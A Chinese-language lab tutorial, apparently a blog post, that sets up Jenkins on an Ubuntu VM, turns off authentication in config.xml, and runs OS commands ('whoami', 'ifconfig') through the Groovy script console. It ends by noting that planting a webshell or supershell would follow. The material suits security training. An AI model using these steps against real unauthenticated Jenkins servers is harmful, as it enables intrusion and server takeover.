Jenkins未授权访问到Getshell
实验环境
- ubuntu20 虚拟机
安装 Jenkins
安装Java
sudo apt update
sudo apt install openjdk-11-jdk
开始安装Jenkins
- 使用下面的
wget
命令,导入 Jenkins 软件源的 GPG keys:
wget -q -O - https://pkg.jenkins.io/debian/jenkins.io.key | sudo apt-key add -
- 下一步,添加软件源到系统中:
sudo sh -c 'echo deb http://pkg.jenkins.io/debian-stable binary/ > /etc/apt/sources.list.d/jenkins.list'
- 一旦 Jenkins 软件源被启用,升级
apt
软件包列表,并且安装最新版本的 Jenkins:
sudo apt update
sudo apt install jenkins
- Ubuntu安装Jenkins报错解决
正在读取软件包列表... 完成
W: https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/dists/jammy/InRelease: 密钥存储在过时的 trusted.gpg 密钥环中(/etc/apt/trusted.gpg),请参见 apt-key(8) 的 DEPRECATION 一节以了解详情。
W: GPG 错误:https://pkg.jenkins.io/debian-stable binary/ Release: 由于没有公钥,无法验证下列签名: NO_PUBKEY 5BA31D57EF5975CA
E: 仓库 “http://pkg.jenkins.io/debian-stable binary/ Release” 没有数字签名。
N: 无法安全地用该源进行更新,所以默认禁用该源。
N: 参见 apt-secure(8) 手册以了解仓库创建和用户配置方面的细节。
正在读取软件包列表... 完成
正在分析软件包的依赖关系树... 完成
正在读取状态信息... 完成
没有可用的软件包 jenkins,但是它被其它的软件包引用了。
这可能意味着这个缺失的软件包可能已被废弃,
或者只能在其他发布源中找到
E: 软件包 jenkins 没有可安装候选
- 找到
- 把key替换成自己的
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 5BA31D57EF5975CA
- 再次执行
sudo apt update
sudo apt install jenkins
- 验证
systemctl status jenkins
- 调整防火墙
sudo ufw allow proto tcp from 192.168.121.0/24 to any port 8080
sudo ufw allow 8080
- 访问
配置未授权
vim /var/lib/jenkins/config.xml
<useSecurity>true</useSecurity>
改为
<useSecurity>false</useSecurity>
- 重启
systemctl restart jenkins
至此未授权的Jenkins搭建完成
命令执行
println "whoami".execute().text
println "ifconfig".execute().text
- 能执行命令的话拿到服务器的权限就简单了,如上线supershell,写webshell等操作。
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 putdown.top